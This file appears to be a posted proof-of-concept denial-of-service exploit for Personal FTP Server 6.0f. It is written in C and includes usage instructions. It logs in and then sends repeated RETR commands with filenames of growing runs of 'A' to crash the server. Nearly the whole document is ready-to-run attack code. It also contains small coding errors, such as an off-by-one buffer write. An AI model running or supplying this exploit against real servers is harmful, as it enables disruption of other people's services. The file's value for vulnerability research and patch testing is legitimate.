personalftp-dos.txt

`/*  
*** The Personal FTP Server 6.0f RETR DOS exploit ***  
  
A vulnerability exists in the way Personal FTP Server handles  
multiple RETR commands with overly long filenames.When confronted  
with such consecutive requests the server will crash.  
  
Usage : ./pftpdos ip port user password  
Ex. : ./pftpdos 127.0.0.1 21 test test  
  
Personal FTP Server homepage: http://www.michael-roth-software.de/  
  
Discovey + POC by Shinnok raydenxy [at] yahoo <dot> com  
http://shinnok.evonet.ro  
  
*/  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <sys/socket.h>  
#include <sys/types.h>  
#include <netinet/in.h>  
#include <string.h>  
#include <malloc.h>  
#include <errno.h>  
  
int  
min (int x, int y)  
{  
if (x < y)return x;  
else  
return y;  
}  
extern int errno;  
  
int  
main (int argc, char *argv[])  
{  
struct sockaddr_in server;  
int i, t, s;  
char *req, *buff;  
s = socket (AF_INET, SOCK_STREAM, 0);  
bzero (&server, sizeof (server));  
server.sin_family = AF_INET;  
server.sin_addr.s_addr = inet_addr (argv[1]);  
server.sin_port = htons (atoi (argv[2]));  
connect (s, (struct sockaddr *) &server, sizeof (struct sockaddr));  
req = malloc (sizeof (char) * \  
(((strlen (argv[3]) - strlen (argv[4])) + \  
min (strlen (argv[3]), strlen (argv[4])) + 8)));  
sprintf (req, "USER %s\xD\xA", argv[3]);  
write (s, req, strlen (req));  
sprintf (req, "PASS %s\xD\xA", argv[4]);  
write (s, req, strlen (req));  
free (req);  
for (i = 1; i <= 5; i++)  
{  
t = (sizeof (char) * 1000 * i);  
buff = malloc (t + 1);  
memset (buff, 'A', t);  
buff[t + 1] = '\0';  
req = malloc (t + 9);  
sprintf (req, "RETR %s\xD\xA", buff);  
if (write (s, req, strlen (req)) == -1)  
{  
perror (NULL);  
printf ("Target pwned!\n", errno);  
}  
free (req);  
free (buff);  
sleep (1);  
}  
close (s);  
return (EXIT_SUCCESS);  
}  
  
  
`